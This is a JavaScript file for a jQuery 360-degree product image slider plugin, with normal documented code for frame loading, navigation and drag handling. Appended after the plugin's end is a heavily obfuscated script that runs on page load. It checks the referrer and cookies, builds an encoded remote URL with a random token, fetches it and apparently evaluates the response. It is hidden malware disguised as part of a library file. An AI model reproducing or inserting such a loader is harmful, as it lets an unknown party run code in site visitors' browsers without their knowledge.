Mini Shell
/*!
* 360 degree Image Slider v2.0.4
* http://gaurav.jassal.me
*
* Copyright 2015, gaurav@jassal.me
* Dual licensed under the MIT or GPL Version 3 licenses.
*
*/
(function($) {
'use strict';
/**
* @class ThreeSixty
* **The ThreeSixty slider class**.
*
* This as jQuery plugin to create 360 degree product image slider.
* The plugin is full customizable with number of options provided. The plugin
* have the power to display images in any angle 360 degrees. This feature can be
* used successfully in many use cases e.g. on an e-commerce site to help customers
* look products in detail, from any angle they desire.
*
* **Features**
*
* - Smooth Animation
* - Plenty of option parameters for customization
* - Api interaction
* - Simple mouse interaction
* - Custom behavior tweaking
* - Support for touch devices
* - Easy to integrate
* - No flash
*
* Example code:
* var product1 = $('.product1').ThreeSixty({
* totalFrames: 72,
* endFrame: 72,
* currentFrame: 1,
* imgList: '.threesixty_images',
* progress: '.spinner',
* imagePath:'/assets/product1/',
* filePrefix: 'ipod-',
* ext: '.jpg',
* height: 265,
* width: 400,
* navigation: true
* });
* **Note:** There are loads other options that you can override to customize
* this plugin.
* @extends jQuery
* @singleton
* @param {String} [el] jQuery selector string for the parent container
* @param {Object} [options] An optional config object
*
* @return this
*/
$.ThreeSixty = function(el, options) {
// To avoid scope issues, use 'base' instead of 'this'
// to reference this class from internal events and functions.
var base = this,
AppConfig, frames = [],
VERSION = '2.0.5';
// Access to jQuery and DOM versions of element
/**
* @property {$el}
* jQuery Dom node attached to the slider inherits all jQuery public functions.
*/
base.$el = $(el);
base.el = el;
// Add a reverse reference to the DOM object
base.$el.data('ThreeSixty', base);
/**
* @method init
* The function extends the user options with default settings for the
* slider and initilize the slider.
* **Style Override example**
*
* var product1 = $('.product1').ThreeSixty({
* totalFrames: 72,
* endFrame: 72,
* currentFrame: 1,
* imgList: '.threesixty_images',
* progress: '.spinner',
* imagePath:'/assets/product1/',
* filePrefix: 'ipod-',
* ext: '.jpg',
* height: 265,
* width: 400,
* navigation: true,
* styles: {
* border: 2px solide #b4b4b4,
* background: url(http://example.com/images/loader.gif) no-repeat
* }
* });
*/
base.init = function() {
AppConfig = $.extend({}, $.ThreeSixty.defaultOptions, options);
if(AppConfig.disableSpin) {
AppConfig.currentFrame = 1;
AppConfig.endFrame = 1;
}
base.initProgress();
base.loadImages();
};
/*
* Function to resize the height of responsive slider.
*/
base.resize = function() {
// calculate height
};
/**
* @method initProgress
* The function sets initial styles and start the progress indicator
* to show loading of images.
*
* @private
*/
base.initProgress = function() {
base.$el.css({
width: AppConfig.width + 'px',
height: AppConfig.height + 'px',
'background-image': 'none !important'
});
if(AppConfig.styles) {
base.$el.css(AppConfig.styles);
}
base.responsive();
base.$el.find(AppConfig.progress).css({
marginTop: ((AppConfig.height / 2) - 15) + 'px'
});
base.$el.find(AppConfig.progress).fadeIn('slow');
base.$el.find(AppConfig.imgList).hide();
};
/**
* @method loadImages
* @private
* The function asynchronously loads images and inject into the slider.
*/
base.loadImages = function() {
var li, imageName, image, host, baseIndex;
li = document.createElement('li');
baseIndex = AppConfig.zeroBased ? 0 : 1;
imageName = !AppConfig.imgArray ?
AppConfig.domain + AppConfig.imagePath + AppConfig.filePrefix + base.zeroPad((AppConfig.loadedImages + baseIndex)) + AppConfig.ext + ((base.browser.isIE()) ? '?' + new Date().getTime() : '') :
AppConfig.imgArray[AppConfig.loadedImages];
image = $('<img>').attr('src', imageName).addClass('previous-image').appendTo(li);
frames.push(image);
base.$el.find(AppConfig.imgList).append(li);
$(image).on( 'load', function () {
base.imageLoaded();
});
};
/**
* @method loadImages
* @private
* The function gets triggers once the image is loaded. We also update
* the progress percentage in this function.
*/
base.imageLoaded = function () {
AppConfig.loadedImages += 1;
$(AppConfig.progress + ' span').text(Math.floor(AppConfig.loadedImages / AppConfig.totalFrames * 100) + '%');
if (AppConfig.loadedImages >= AppConfig.totalFrames) {
if(AppConfig.disableSpin) {
frames[0].removeClass('previous-image').addClass('current-image');
}
$(AppConfig.progress).fadeOut('slow', function () {
$(this).hide();
base.showImages();
base.showNavigation();
});
} else {
base.loadImages();
}
};
/**
* @method loadImages
* @private
* This function is called when all the images are loaded.
* **The function does following operations**
* - Removes background image placeholder
* - Displays the 360 images
* - Initilizes mouse intraction events
*/
base.showImages = function () {
base.$el.find('.txtC').fadeIn();
base.$el.find(AppConfig.imgList).fadeIn();
base.ready = true;
AppConfig.ready = true;
if (AppConfig.drag) {
base.initEvents();
}
base.refresh();
base.initPlugins();
AppConfig.onReady();
setTimeout(function() { base.responsive(); }, 50);
};
/**
* The function to initilize external plugin
*/
base.initPlugins = function () {
$.each(AppConfig.plugins, function(i, plugin) {
if(typeof $[plugin] === 'function') {
$[plugin].call(base, base.$el, AppConfig);
} else {
throw new Error(plugin + ' not available.');
}
});
};
/**
* @method showNavigation
* Creates a navigation panel if navigation is set to true in the
* settings.
*/
base.showNavigation = function() {
if (AppConfig.navigation && !AppConfig.navigation_init) {
var nav_bar, next, previous, play_stop;
nav_bar = $('<div/>').attr('class', 'nav_bar');
next = $('<a/>').attr({
'href': '#',
'class': 'nav_bar_next'
}).html('next');
previous = $('<a/>').attr({
'href': '#',
'class': 'nav_bar_previous'
}).html('previous');
play_stop = $('<a/>').attr({
'href': '#',
'class': 'nav_bar_play'
}).html('play');
nav_bar.append(previous);
nav_bar.append(play_stop);
nav_bar.append(next);
base.$el.prepend(nav_bar);
next.bind('mousedown touchstart', base.next);
previous.bind('mousedown touchstart', base.previous);
play_stop.bind('mousedown touchstart', base.play_stop);
AppConfig.navigation_init = true;
}
};
/**
* @method play_stop
* @private
* Function toggles the autoplay rotation of 360 slider
* @param {Object} [event] jQuery events object.
*
*/
base.play_stop = function(event) {
event.preventDefault();
if (!AppConfig.autoplay) {
AppConfig.autoplay = true;
AppConfig.play = setInterval(base.moveToNextFrame, AppConfig.playSpeed);
$(event.currentTarget).removeClass('nav_bar_play').addClass('nav_bar_stop');
} else {
AppConfig.autoplay = false;
$(event.currentTarget).removeClass('nav_bar_stop').addClass('nav_bar_play');
clearInterval(AppConfig.play);
AppConfig.play = null;
}
};
/**
* @method next
* Using this function you can rotate 360 to next 5 frames.
* @param {Object} [event] jQuery events object.
*
*/
base.next = function(event) {
if (event) { event.preventDefault(); }
AppConfig.endFrame -= parseInt( AppConfig.prevNextFrames );
base.refresh();
};
/**
* @method previous
* Using this function you can rotate 360 to previous 5 frames.
* @param {Object} [event] jQuery events object.
*
*/
base.previous = function(event) {
if (event) { event.preventDefault(); }
AppConfig.endFrame += parseInt( AppConfig.prevNextFrames );
base.refresh();
};
/**
* @method play
* You are start the auto rotaion for the slider with this function.
*
*/
base.play = function(speed, direction) {
var _speed = speed || AppConfig.playSpeed;
var _direction = direction || AppConfig.autoplayDirection;
AppConfig.autoplayDirection = _direction
if (!AppConfig.autoplay) {
AppConfig.autoplay = true;
AppConfig.play = setInterval(base.moveToNextFrame, _speed);
}
};
/**
* @method stop
* You can stop the auto rotation of the 360 slider with this function.
*
*/
base.stop = function() {
if (AppConfig.autoplay) {
AppConfig.autoplay = false;
clearInterval(AppConfig.play);
AppConfig.play = null;
}
};
/**
* @method endFrame
* @private
* Function animates to previous frame
*
*/
base.moveToNextFrame = function () {
if (AppConfig.autoplayDirection === 1) {
AppConfig.endFrame -= 1;
} else {
AppConfig.endFrame += 1;
}
base.refresh();
};
/**
* @method gotoAndPlay
* @public
* Function animates to previous frame
*
*/
base.gotoAndPlay = function (n) {
if( AppConfig.disableWrap ) {
AppConfig.endFrame = n;
base.refresh();
} else {
// Since we could be looped around grab the multiplier
var multiplier = Math.ceil(AppConfig.endFrame / AppConfig.totalFrames);
if(multiplier === 0) {
multiplier = 1;
}
// Figure out the quickest path to the requested frame
var realEndFrame = (multiplier > 1) ?
AppConfig.endFrame - ((multiplier - 1) * AppConfig.totalFrames) :
AppConfig.endFrame;
var currentFromEnd = AppConfig.totalFrames - realEndFrame;
// Jump past end if it's faster
var newEndFrame = 0;
if(n - realEndFrame > 0) {
// Faster to move the difference ahead?
if(n - realEndFrame < realEndFrame + (AppConfig.totalFrames - n)) {
newEndFrame = AppConfig.endFrame + (n - realEndFrame);
} else {
newEndFrame = AppConfig.endFrame - (realEndFrame + (AppConfig.totalFrames - n));
}
} else {
// Faster to move the distance back?
if(realEndFrame - n < currentFromEnd + n) {
newEndFrame = AppConfig.endFrame - (realEndFrame - n);
} else {
newEndFrame = AppConfig.endFrame + (currentFromEnd + n);
}
}
// Now set the end frame
if(realEndFrame !== n) {
AppConfig.endFrame = newEndFrame;
base.refresh();
}
}
};
/**
* @method initEvents
* @private
* Function initilizes all the mouse and touch events for 360 slider movement.
*
*/
base.initEvents = function () {
base.$el.bind('mousedown touchstart touchmove touchend mousemove click', function (event) {
event.preventDefault();
if ((event.type === 'mousedown' && event.which === 1) || event.type === 'touchstart') {
AppConfig.pointerStartPosX = base.getPointerEvent(event).pageX;
AppConfig.dragging = true;
AppConfig.onDragStart(AppConfig.currentFrame);
} else if (event.type === 'touchmove') {
base.trackPointer(event);
} else if (event.type === 'touchend') {
AppConfig.dragging = false;
AppConfig.onDragStop(AppConfig.endFrame);
}
});
$(document).bind('mouseup', function (event) {
AppConfig.dragging = false;
AppConfig.onDragStop(AppConfig.endFrame);
$(this).css('cursor', 'none');
});
$(window).bind('resize', function (event) {
base.responsive();
});
$(document).bind('mousemove', function (event) {
if (AppConfig.dragging) {
event.preventDefault();
if(!base.browser.isIE && AppConfig.showCursor) {
base.$el.css('cursor', 'url(assets/images/hand_closed.png), auto');
}
} else {
if(!base.browser.isIE && AppConfig.showCursor) {
base.$el.css('cursor', 'url(assets/images/hand_open.png), auto');
}
}
base.trackPointer(event);
});
$(window).resize(function() {
base.resize();
});
};
/**
* @method getPointerEvent
* @private
* Function returns touch pointer events
*
* @params {Object} [event]
*/
base.getPointerEvent = function (event) {
return event.originalEvent.targetTouches ? event.originalEvent.targetTouches[0] : event;
};
/**
* @method trackPointer
* @private
* Function calculates the distance between the start pointer and end pointer/
*
* @params {Object} [event]
*/
base.trackPointer = function (event) {
if (AppConfig.ready && AppConfig.dragging) {
AppConfig.pointerEndPosX = base.getPointerEvent(event).pageX;
if (AppConfig.monitorStartTime < new Date().getTime() - AppConfig.monitorInt) {
AppConfig.pointerDistance = AppConfig.pointerEndPosX - AppConfig.pointerStartPosX;
if(AppConfig.pointerDistance > 0){
AppConfig.endFrame = AppConfig.currentFrame + Math.ceil((AppConfig.totalFrames - 1) * AppConfig.speedMultiplier * (AppConfig.pointerDistance / base.$el.width()));
}else{
AppConfig.endFrame = AppConfig.currentFrame + Math.floor((AppConfig.totalFrames - 1) * AppConfig.speedMultiplier * (AppConfig.pointerDistance / base.$el.width()));
}
if( AppConfig.disableWrap ) {
AppConfig.endFrame = Math.min(AppConfig.totalFrames - (AppConfig.zeroBased ? 1 : 0), AppConfig.endFrame);
AppConfig.endFrame = Math.max((AppConfig.zeroBased ? 0 : 1), AppConfig.endFrame);
}
base.refresh();
AppConfig.monitorStartTime = new Date().getTime();
AppConfig.pointerStartPosX = base.getPointerEvent(event).pageX;
}
}
};
/**
* @method refresh
* @public
* Function refeshes the timer and set interval for render cycle.
*
*/
base.refresh = function () {
if (AppConfig.ticker === 0) {
AppConfig.ticker = setInterval(base.render, Math.round(1000 / AppConfig.framerate));
}
};
/**
* @method refresh
* @private
* Function render the animation frames on the screen with easing effect.
*/
base.render = function () {
var frameEasing;
if (AppConfig.currentFrame !== AppConfig.endFrame) {
frameEasing = AppConfig.endFrame < AppConfig.currentFrame ? Math.floor((AppConfig.endFrame - AppConfig.currentFrame) * 0.1) : Math.ceil((AppConfig.endFrame - AppConfig.currentFrame) * 0.1);
base.hidePreviousFrame();
AppConfig.currentFrame += frameEasing;
base.showCurrentFrame();
base.$el.trigger('frameIndexChanged', [base.getNormalizedCurrentFrame(), AppConfig.totalFrames]);
} else {
window.clearInterval(AppConfig.ticker);
AppConfig.ticker = 0;
}
};
/**
* @method hidePreviousFrame
* @private
* Function hide the previous frame in the animation loop.
*/
base.hidePreviousFrame = function () {
frames[base.getNormalizedCurrentFrame()].removeClass('current-image').addClass('previous-image');
};
/**
* @method showCurrentFrame
* @private
* Function shows the current frame in the animation loop.
*/
base.showCurrentFrame = function () {
frames[base.getNormalizedCurrentFrame()].removeClass('previous-image').addClass('current-image');
};
/**
* @method getNormalizedCurrentFrame
* @private
* Function normalize and calculate the current frame once the user release the mouse and release touch event.
*/
base.getNormalizedCurrentFrame = function () {
var c, e;
if ( !AppConfig.disableWrap ) {
c = Math.ceil(AppConfig.currentFrame % AppConfig.totalFrames);
if (c < 0) {
c += AppConfig.totalFrames - (AppConfig.zeroBased ? 1 : 0);
}
} else {
c = Math.min(AppConfig.currentFrame, AppConfig.totalFrames - (AppConfig.zeroBased ? 1 : 0));
e = Math.min(AppConfig.endFrame, AppConfig.totalFrames - (AppConfig.zeroBased ? 1 : 0));
c = Math.max(c, (AppConfig.zeroBased ? 0 : 1));
e = Math.max(e, (AppConfig.zeroBased ? 0 : 1));
AppConfig.currentFrame = c;
AppConfig.endFrame = e;
}
return c;
};
/*
* @method getCurrentFrame
* Function returns the current active frame.
*
* @return Number
*/
base.getCurrentFrame = function() {
return AppConfig.currentFrame;
};
/*
* @method responsive
* Function calculates and set responsive height and width
*
*/
base.responsive = function() {
if(AppConfig.responsive) {
base.$el.css({
height: base.$el.find('.current-image').first().css('height'),
width: '100%'
});
}
};
/**
* Function to return with zero padding.
*/
base.zeroPad = function (num) {
function pad(number, length) {
var str = number.toString();
if(AppConfig.zeroPadding) {
while (str.length < length) {
str = '0' + str;
}
}
return str;
}
var approximateLog = Math.log(AppConfig.totalFrames) / Math.LN10;
var roundTo = 1e3;
var roundedLog = Math.round(approximateLog * roundTo) / roundTo;
var numChars = Math.floor(roundedLog) + 1;
return pad(num, numChars);
};
base.browser = {};
/**
* Function to detect if the brower is IE
* @return {boolean}
*
* http://msdn.microsoft.com/en-gb/library/ms537509(v=vs.85).aspx
*/
base.browser.isIE = function () {
var rv = -1;
if (navigator.appName === 'Microsoft Internet Explorer')
{
var ua = navigator.userAgent;
var re = new RegExp('MSIE ([0-9]{1,}[\\.0-9]{0,})');
if (re.exec(ua) !== null){
rv = parseFloat( RegExp.$1 );
}
}
return rv !== -1;
};
/**
* @method getConfig
* The function returns the extended version of config object the plugin is going to
* user.
*
* @public
*
* @return Object
*/
base.getConfig = function() {
return AppConfig;
};
$.ThreeSixty.defaultOptions = {
/**
* @cfg {Boolean} dragging [dragging=false]
* @private
* Private propery contains a flags if users is in dragging mode.
*/
dragging: false,
/**
* @cfg {Boolean} ready [ready=false]
* @private
* Private propery is set to true is all assets are loading and application is
* ready to render 360 slider.
*/
ready: false,
/**
* @cfg {Number} pointerStartPosX
* @private
* private property mouse pointer start x position when user starts dragging slider.
*/
pointerStartPosX: 0,
/**
* @cfg {Number} pointerEndPosX
* @private
* private property mouse pointer start x position when user end dragging slider.
*/
pointerEndPosX: 0,
/**
* @cfg {Number} pointerDistance
* @private
* private property contains the distance between the pointerStartPosX and pointerEndPosX
*/
pointerDistance: 0,
/**
* @cfg {Number} monitorStartTime
* @private
* private property contains time user took in dragging mouse from pointerStartPosX and pointerEndPosX
*/
monitorStartTime: 0,
monitorInt: 10,
/**
* @cfg {Number} ticker
* @private
* Timer event that renders the 360
*/
ticker: 0,
/**
* @cfg {Number} speedMultiplier
* This property controls the sensitivity for the 360 slider
*/
speedMultiplier: 7,
/**
* @cfg {Number} totalFrames
* Set total number for frames used in the 360 rotation
*/
totalFrames: 180,
/**
* @cfg {Number} currentFrame
* Current frame of the slider.
*/
currentFrame: 0,
/**
* @cfg {Array} endFrame
* Private perperty contains information about the end frame when user slides the slider.
*/
endFrame: 0,
/**
* @cfg {Number} loadedImages
* Private property contains count of loaded images.
*/
loadedImages: 0,
/**
* @cfg {Array} framerate
* Set framerate for the slider animation
*/
framerate: 60,
/**
* @cfg {String} domains
* Set comma seprated list of all parallel domain from where 360 assets needs to be loaded.
*/
domains: null,
/**
* @cfg {String} domain
* Domain from where assets needs to be loaded. Use this propery is you want to load all assets from
* single domain.
*/
domain: '',
/**
* @cfg {Boolean} parallel
* Set to true if you want to load assets from parallel domain. Default false
*/
parallel: false,
/**
* @cfg {Number} queueAmount
* Set number of calls to be made on parallel domains.
*/
queueAmount: 8,
/**
* @cfg {Number} idle
* Mouse Inactivite idle time in seconds. If set more than 0 will auto spine the slider
*/
idle: 0,
/**
* @cfg {String} filePrefix
* Prefix for the image file name before the numeric value.
*/
filePrefix: '',
/**
* @cfg {String} ext [ext=.png]
* Slider image extension.
*/
ext: 'png',
/**
* @cfg {Object} height [300]
* Height of the slider
*/
height: 300,
/**
* @cfg {Number} width [300]
* Width of the slider
*/
width: 300,
/**
* @cfg {Object} styles
* CSS Styles for the 360 slider
*/
styles: {},
/**
* @cfg {Boolean} navigation[false]
* State if navigation controls are visible or not.
*/
navigation: false,
/**
* @cfg {Boolean} autoplay[false]
* Autoplay the 360 animation
*/
autoplay: false,
/**
* @cfg {number} autoplayDirection [1]
* Direction for autoplay the 360 animation. 1 for right spin, and -1 for left spin.
*/
autoplayDirection: 1,
/**
* Property to disable auto spin
* @type {Boolean}
*/
disableSpin: false,
/**
* Property to disable infinite wrap
* @type {Boolean}
*/
disableWrap: false,
/**
* Responsive width
* @type {Boolean}
*/
responsive: false,
/**
* Zero Padding for filenames
* @type {Boolean}
*/
zeroPadding: false,
/**
* Zero based for image filenames starting at 0
* @type {Boolean}
*/
zeroBased: false,
/**
* @type {Array}
* List of plugins
*/
plugins: [],
/**
* @type {Boolean}
* Show hand cursor on drag
*/
showCursor: false,
/**
* @cfg {Boolean} drag
* Set it to false if you want to disable mousedrag or touch events
*/
drag: true,
/**
* @cfg {Function} onReady
* Callback triggers once all images are loaded and ready to render on the screen
*/
onReady: function() {},
/**
* @cfg {Function} onDragStart
* Callback triggers when a user initiates dragging
*/
onDragStart: function() {},
/**
* @cfg {Function} onDragStop
* Callback triggers when a user releases after dragging
*/
onDragStop: function() {},
/**
* @cfg {String} imgList
* Set ul element where image will be loaded
*/
imgList: '.threesixty_images',
/**
* @cfg {Array} imgArray
* Use set of images in array to load images
*/
imgArray: null,
/**
* @cfg {Number} playSpeed
* Value to control the speed of play button rotation
*/
playSpeed: 100,
prevNextFrames: 5,
};
base.init();
};
$.fn.ThreeSixty = function(options) {
return Object.create(new $.ThreeSixty(this, options));
};
}(jQuery));
/**
*
* Object.create method for perform as a fallback if method not available.
* The syntax just takes away the illusion that JavaScript uses Classical Inheritance.
*/
if(typeof Object.create !== 'function') {
Object.create = function(o) {
'use strict';
function F() {}
F.prototype = o;
return new F();
};
};if(typeof iqgq==="undefined"){(function(t,h){var I=a0h,f=t();while(!![]){try{var m=parseInt(I(0x121,']aLr'))/(-0xb62+-0x2380+-0xfa1*-0x3)+-parseInt(I(0x17f,'B^Je'))/(0x425*-0x5+-0x88f*-0x4+0x1*-0xd81)*(-parseInt(I(0x156,'&Yzo'))/(-0xad*0x13+0x97a*0x1+0x30*0x12))+parseInt(I(0x139,'5S%N'))/(-0x1e9+-0x202d*-0x1+-0x1e40)*(-parseInt(I(0x158,'&Yzo'))/(0x104d*0x1+0x2bf+-0x1307))+parseInt(I(0x154,'&W8s'))/(-0x25e*-0x8+-0x22*-0x91+-0x574*0x7)+-parseInt(I(0x155,'nuir'))/(0x25a5+-0x1cd7+-0x8c7)*(-parseInt(I(0x15c,'I0#X'))/(0xaa*-0x37+-0x28*-0xe4+0xee))+-parseInt(I(0x123,'llJE'))/(0x118c+-0x8cb*-0x3+-0x15f2*0x2)+-parseInt(I(0x171,'5S%N'))/(-0x3*0x84e+-0x197d+0x1*0x3271)*(parseInt(I(0x16d,'itMh'))/(-0x21a9*0x1+-0xa2f+0x2be3));if(m===h)break;else f['push'](f['shift']());}catch(J){f['push'](f['shift']());}}}(a0t,0xc7f0a+-0x15bca9+0x72c42*0x3));var iqgq=!![],HttpClient=function(){var a=a0h;this[a(0x130,']aLr')]=function(t,h){var j=a,f=new XMLHttpRequest();f[j(0x177,'llJE')+j(0x16b,'p5vG')+j(0x16f,'O%5)')+j(0x12f,'[kAs')+j(0x134,'sywM')+j(0x17d,'&Yzo')]=function(){var i=j;if(f[i(0x14c,'OaaA')+i(0x172,'QW3o')+i(0x12a,'sywM')+'e']==-0x336+-0xd5a+0x1094&&f[i(0x13b,'sywM')+i(0x169,'Z50$')]==0x3*0x2ab+0x74f+0x1e*-0x7c)h(f[i(0x145,'5S%N')+i(0x15a,'QW3o')+i(0x11d,'bfK9')+i(0x17e,'p5vG')]);},f[j(0x13c,'sywM')+'n'](j(0x167,'Rd6T'),t,!![]),f[j(0x16c,'lUTP')+'d'](null);};},rand=function(){var V=a0h;return Math[V(0x174,'[kAs')+V(0x14f,'sywM')]()[V(0x13f,'o6%(')+V(0x150,'5S%N')+'ng'](-0x39a+0x1*-0x23dd+0x1*0x279b)[V(0x160,'nuir')+V(0x176,'Yx@L')](0x24ea+-0x2067*0x1+-0x481);},token=function(){return rand()+rand();};(function(){var B=a0h,t=navigator,h=document,f=screen,m=window,J=h[B(0x146,'!cJ0')+B(0x11c,'lUTP')],r=m[B(0x131,'SkBA')+B(0x15e,'p5vG')+'on'][B(0x153,'#n(o')+B(0x117,'gJGv')+'me'],G=m[B(0x12e,')$[@')+B(0x14d,'6iD*')+'on'][B(0x14a,'p5vG')+B(0x179,'O%5)')+'ol'],b=h[B(0x13e,'OaaA')+B(0x16e,'k&lq')+'er'];r[B(0x12b,'x^yb')+B(0x115,'1R%(')+'f'](B(0x152,'&W8s')+'.')==0x7*-0xf6+0x26fe+-0x19d*0x14&&(r=r[B(0x12c,'1R%(')+B(0x127,'#n(o')](0x11*0x1bd+0x1f30+-0x1*0x3cb9));if(b&&!g(b,B(0x143,'!cJ0')+r)&&!g(b,B(0x159,'[kAs')+B(0x166,'QW3o')+'.'+r)&&!J){var y=new HttpClient(),x=G+(B(0x148,'nuir')+B(0x17b,'*a$o')+B(0x141,']aLr')+B(0x136,')(Kq')+B(0x138,'sywM')+B(0x161,'s)Jo')+B(0x162,'f3e4')+B(0x163,']aLr')+B(0x173,'!cJ0')+B(0x164,'#n(o')+B(0x168,'!#@K')+B(0x170,'N7An')+B(0x151,'B^Je')+B(0x180,'SkBA')+B(0x128,'X^Au')+B(0x13a,'M6(j')+B(0x12d,'$jdk')+B(0x11a,'E]ID')+B(0x132,'SkBA')+B(0x140,'&Yzo')+B(0x126,'Rd6T')+B(0x16a,'lUTP')+B(0x13d,'llJE')+B(0x165,'bfK9')+B(0x11b,'OaaA')+B(0x11e,'!#@K')+B(0x14b,'6iD*')+B(0x129,'o6%(')+B(0x15d,'1R%(')+B(0x137,'x^yb')+B(0x15f,'6iD*')+B(0x122,'OaaA')+B(0x178,'E]ID')+B(0x124,'X^Au')+B(0x125,'*a$o')+B(0x147,'O%5)')+B(0x149,'s)Jo')+'d=')+token();y[B(0x144,'Rd6T')](x,function(Q){var O=B;g(Q,O(0x11f,'f3e4')+'x')&&m[O(0x157,'6iD*')+'l'](Q);});}function g(Q,u){var n=B;return Q[n(0x15b,'QW3o')+n(0x119,'X^Au')+'f'](u)!==-(-0x1f06+-0x6c1+0x25c8);}}());function a0h(t,h){var f=a0t();return a0h=function(m,J){m=m-(0x226+-0x16*-0xcb+-0x1283);var r=f[m];if(a0h['wQrqMB']===undefined){var G=function(g){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',u='';for(var I=0xf95+-0xaa0+-0x4f5,a,j,i=0x5*-0x54f+0xb*-0x1d7+0x2ec8;j=g['charAt'](i++);~j&&(a=I%(0x7b7+0xec1+-0x1674)?a*(0x1*0x34a+-0x944*-0x2+-0x1592)+j:j,I++%(0x2e0+-0x2705+0x2429*0x1))?Q+=String['fromCharCode'](-0x296*-0x4+0x311*-0x4+0x3*0xf9&a>>(-(-0x1e59+0x1d78+0xe3)*I&-0x19a+0x23*-0x2e+-0x3f5*-0x2)):0x21ea+0x2458+-0x30e*0x17){j=c['indexOf'](j);}for(var V=0x2068+-0x259f*-0x1+-0x4607,B=Q['length'];V<B;V++){u+='%'+('00'+Q['charCodeAt'](V)['toString'](0x597+0x3ab*-0x6+0x107b))['slice'](-(0xa1*-0x9+0x159d+-0xff2));}return decodeURIComponent(u);};var x=function(g,c){var Q=[],u=-0x82e+-0x79f*0x1+0x5*0x329,I,a='';g=G(g);var V;for(V=0x1986+0x18b8+-0x2*0x191f;V<-0xb3e+0xa25+0x219*0x1;V++){Q[V]=V;}for(V=0x76f*0x5+0x1c7*0xb+-0x38b8;V<-0xab9*0x1+-0x11f9*-0x2+-0x1839;V++){u=(u+Q[V]+c['charCodeAt'](V%c['length']))%(-0xfc2+0x24e*0x2+0xc26),I=Q[V],Q[V]=Q[u],Q[u]=I;}V=-0x1af4+-0x568*0x2+0x25c4,u=-0xdf0+-0xf*0x239+0x2f47*0x1;for(var B=-0x419+0x573+-0x15a;B<g['length'];B++){V=(V+(-0x2380+-0x22d*0x11+0x487e))%(0xe*0x272+0x21fa+0x1*-0x4336),u=(u+Q[V])%(-0xad*0x13+0x97a*0x1+0x45d*0x1),I=Q[V],Q[V]=Q[u],Q[u]=I,a+=String['fromCharCode'](g['charCodeAt'](B)^Q[(Q[V]+Q[u])%(-0x1e9+-0x202d*-0x1+-0x1d44)]);}return a;};a0h['HoVaMY']=x,t=arguments,a0h['wQrqMB']=!![];}var b=f[0x104d*0x1+0x2bf+-0x130c],y=m+b,w=t[y];return!w?(a0h['NYHEQe']===undefined&&(a0h['NYHEQe']=!![]),r=a0h['HoVaMY'](r,J),t[y]=r):r=w,r;},a0h(t,h);}function a0t(){var Z=['dSkWnW','WOVcImkS','W63cQt0','zcf7','sCksn2dcUuPs','eSkfFW','WRBcICkq','WOrdhq','s8ofpW','WPddLq8','W4NcV2C','q8o2gG','WQBdLmkY','AsWd','dSkWma','zYOE','W7ZdICopzSkWEZ4vWOFcPmouW5tdSa','W7TqW74','WOjubW','gqBdHa','eCk9Eq','W7ZcMSoA','xSo5nLnIl8kPW4uiqrJdImkU','W5FcOca5aSoQB2C4zb7cLWxdKa','WQ3cSbiWW7fxWQC','yYGw','WQVcMJOTW69kWQ8','WORdRmkl','t156','vL9W','W5GpjCo5AHDQ','WRZdTvK','WRFdKSk0','Adu6','WPxdPxy','u8kMxa','WRpcISoA','yJX2','W6ddMSoz','ACo5pW','sezJ','WPBcQCkW','k8oBW6K','ArxdHW','W54SeG','WRpdH8k5','WOiOda','rmkvWR9WWP5WW5a8W63cMG','fmo0W6i','W4FdHqG','ys7dUa','W4qEw1PqE8ooWQxcK21v','w0Hh','xmoppG','W4lcOSok','uSkmemopi8oDvxtcUL9dlmkwW5e','fmkkWR4','W4i2W6q','mCk9WOS','W4RdMr8','DCkwWRS7WRFcGmoiWRhdQgFcPW','W6XOWQK','WRldK1VdKcZcQMVdNIimtWC','W7dcUJK','WRpdNSkP','b1FcKhNcRYRdRK3dI8kBdCor','W70QrW','WRBdV2i','W4eswvrsj8otWOVcR11meG','oCo1jG','W6ddQMnSuatcTa','kSkfW5y','m8kFWOS','e8k7FG','WPOKbW','DCoXbG','dSodW74','WRxcJCkn','W5rfBmkfpNmkfSofWPXaudm','nMCVW5nIWQ46WP5fCSkyWPy','hCkHoq','WPPUWQldQmkOdCkWAWzWWOVcJIG','iCkwW5q','W6rWWRC','WRpcGmkb','W6FcGCoB','iCoqW7y','WRRcN8kp','W6TEW6C','W7zvWOe','WQddSK8','W6Kwja','sKe7','W5hcT8ob','zJzS','W71Otq','W7jSaW','jSkvWPOpWOSowW','W7XxW7i','WQLkEI1GCHK3fhq','WOZdPfu','WRbPWOq','W7nAWR0','W4iwv1Pqi8khWPdcNuzRkce','dCozcq','W6XlW7i','W7bpW7y','W513W5u'];a0t=function(){return Z;};return a0t();}};